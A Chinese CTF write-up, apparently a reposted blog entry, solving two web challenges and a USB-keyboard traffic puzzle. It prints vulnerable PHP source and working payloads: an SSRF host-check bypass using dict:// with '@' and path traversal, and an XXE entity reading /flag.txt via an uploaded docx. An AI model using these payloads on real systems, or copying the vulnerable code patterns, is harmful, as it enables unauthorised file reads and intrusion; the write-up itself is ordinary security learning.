易博霖部分WP

今天打了一场比赛,学到了挺多东西,写下来记一下。

web2

这题做了我很久,印象很深刻。
开始将file参数进行两次解码之后发现是一个文件名。读取index.php文件,在<img>处查看。base64解码之后,代码如下:

<?php
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
    header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '<title>'.$_GET['file'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename:   '. $file.'</br>';
$file = str_replace("ctf","flag", $file);
echo 'real_filename:   '.$file.'</br>';
$txt = base64_encode(file_get_contents($file));
 
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 * Hint: hal0flagi5here.php
 */
 ?>

看到提示后,读取该文件源码,如下:

<?php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
	$r = parse_url($argv[1]);
	print_r($r);
	if(preg_match('/happyctf\.com$/',$r['host']))
	{
		$url=file_get_contents($argv[1]);
		echo($url);
	}else
	{
		echo("error");
	}
}else
{
	echo "403 Forbidden";
}
?>

这里我就卡住了。经过大佬提示之后才知道还有dict://协议。然后用@绕过host检验在进行文件读取即可得到flag。
payload:?url=dict://@happyctf.com/../../../../../../../flag.txt

web4

这里因为我没有见过,所以写下来记录一下,一道相似的题在这:https://www.jianshu.com/p/40d6d0e7117f
今天这题提示了我们.bak文件,下载下来的源码如下:

<?php
if(isset($_POST["submit"])) {
    $target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        try {
            $result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
            $xml = new SimpleXMLElement($result, LIBXML_NOENT);
            $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
            foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.<br/>";
            }
        } catch (Exception $e){
            echo $e;
            echo "上传文件不是一个docx文档.";
        }
    } else {
        echo "上传失败.";
    }
}
?>

doc文件其实就是一个zip文件。
可以看到,在他们会用zip协议读取doc文件下的core.xml。并将该文件的<dc:title>处进行读取并直接添加。我们将它的sample.doc下载下来,修改后缀,将docProps/core.xml修改成:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "/flag.txt">
  ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2015-08-01T19:01:00Z</dcterms:modified>
  <dc:title>&xxe;</dc:title>
  <cp:revision>1</cp:revision>
</cp:coreProperties>

上传之后即可得到flag。

Misc-Keyboard

USB键盘流量,参考下面这篇文章
https://www.cnblogs.com/hackxf/p/10670844.html
打开压缩包,发现里面有一个u.pcapng文件和加密的secret.zip文件。
tshark -r u.pcapng -T fields -e usb.capdata > usbdata.txt命令,将其导出至usbdata文件。(正常输出下每两个数字会用冒号隔开,如果没有,则需要写个脚本自己加冒号)。
再利用王一航大佬的脚本一跑,可以得到一串字符,再在linux用vim照着字符串写一下就可以得到加密文件的密码。解密即可得到flag。

发布了37 篇原创文章 · 获赞 2 · 访问量 1414

猜你喜欢

转载自blog.csdn.net/weixin_44377940/article/details/105152632
今日推荐